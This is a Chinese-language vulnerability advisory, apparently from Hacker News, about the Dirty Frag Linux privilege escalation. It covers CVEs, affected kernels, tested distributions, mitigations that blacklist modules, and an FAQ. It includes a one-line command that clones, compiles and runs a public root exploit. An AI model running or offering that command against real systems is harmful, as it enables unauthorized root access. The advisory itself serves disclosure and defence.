Dirty Frag:通用 Linux LPE
Source: Hacker News
Abstract

本文档描述了 Dirty Frag 漏洞类别,该漏洞最早由 Hyunwoo Kim (@v4bel) 发现并报告。它可以通过链式利用 xfrm‑ESP Page‑Cache Write 漏洞和 RxRPC Page‑Cache Write 漏洞,在主流 Linux 发行版上获取 root 权限。
Dirty Frag 扩展了包括 Dirty Pipe 和 Copy Fail 在内的漏洞类别。由于它是一个确定性的逻辑错误,不依赖于时间窗口,无需竞争条件,利用失败时内核不会崩溃,成功率非常高。
有关详细技术信息和时间线,请参阅 write‑up。
Note (2026‑05‑08)
xfrm‑ESP Page‑Cache Write漏洞已被分配 CVE‑2026‑43284,并在主线提交f4c50a4034e6中修补。RxRPC Page‑Cache Write漏洞已预留为 CVE‑2026‑43500 用于跟踪;目前任何代码树中尚未提供补丁。
利用
一行特例
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
此 PoC 是在与 linux‑distros 咨询后提供的准确信息。请 不要 在未经授权的系统上使用它。
清理
⚠️ 重要: 运行此利用后,页面缓存会被污染。为清除受污染的页面缓存并确保系统稳定,可执行以下任一操作:
echo 3 > /proc/sys/vm/drop_caches
或直接重启系统。
受影响的版本
xfrm‑ESP Page‑Cache Write 漏洞的影响范围从提交 cac2661c53f3(2017‑01‑17)一直到上游,而 RxRPC Page‑Cache Write 漏洞的影响范围从提交 2dc334f1a63a(2023‑06)一直到上游。
换句话说,这些漏洞的有效生命周期约为 9 年。
Dirty Frag 已在以下发行版版本上进行测试:
- Ubuntu 24.04.4:
6.17.0-23-generic - RHEL 10.1:
6.12.0-124.49.1.el10_1.x86_64 - openSUSE Tumbleweed:
7.0.2-1-default - CentOS Stream 10:
6.12.0-224.el10.x86_64 - AlmaLinux 10:
6.12.0-124.52.3.el10_1.x86_64 - Fedora 44:
6.19.14-300.fc44.x86_64 - … (为简洁起见省略了其他版本)
缓解措施
由于负责任披露时间表和禁令已被打破,目前任何发行版都没有补丁。请使用以下步骤移除易受影响的模块并清除页面缓存:
# Prevent the modules from loading
printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf
# Unload them if they are already loaded
rmmod esp4 esp6 rxrpc 2>/dev/null || true
# Drop caches
echo 3 > /proc/sys/vm/drop_caches
一旦各发行版回移植补丁,请相应更新。
FAQ
为什么要把两个漏洞串联起来?
xfrm‑ESP Page‑Cache Write 提供了一个强大的任意 4 字节 STORE 原语(类似于 Copy Fail),并且在大多数发行版中都存在,但它需要创建用户命名空间的权限。Ubuntu 有时会通过 AppArmor 阻止非特权用户命名空间的创建,从而导致该利用失败。
RxRPC Page‑Cache Write 不 需要创建命名空间,但 rxrpc.ko 模块并未包含在大多数发行版中。不过,在 Ubuntu 上 rxrpc.ko 模块默认会被加载。
将这两个原语串联起来可以互补各自的盲点,从而在所有主流发行版上获取 root 权限。详细技术说明请参见技术细节文档。
又是一个 “品牌” “Dirty” 系列?
是的。该漏洞是 Dirty Pipe 的衍生品,它会 “弄脏” struct sk_buff 中的 frag 成员。因此名称 Dirty Frag 体现了它的血缘关系。
它与 “Copy Fail” 漏洞有什么关系?
Copy Fail 启发了本次研究。Dirty Frag 链中的 xfrm‑ESP Page‑Cache Write 原语与 Copy Fail 使用相同的 sink。不同于 Copy Fail,Dirty Frag 在是否存在 algif_aead 模块的情况下都会被触发。因此,即使系统已经应用了公开的 Copy Fail 缓解措施(黑名单 algif_aead),仍然会受到 Dirty Frag 的影响。
那么,我该如何修复我的 Linux?
请参阅上文的 Mitigation 部分以及 Disclosure Timeline。由于信息已经泄露,目前尚无任何发行版的官方补丁可用。请关注上游更新,并在发布后尽快应用。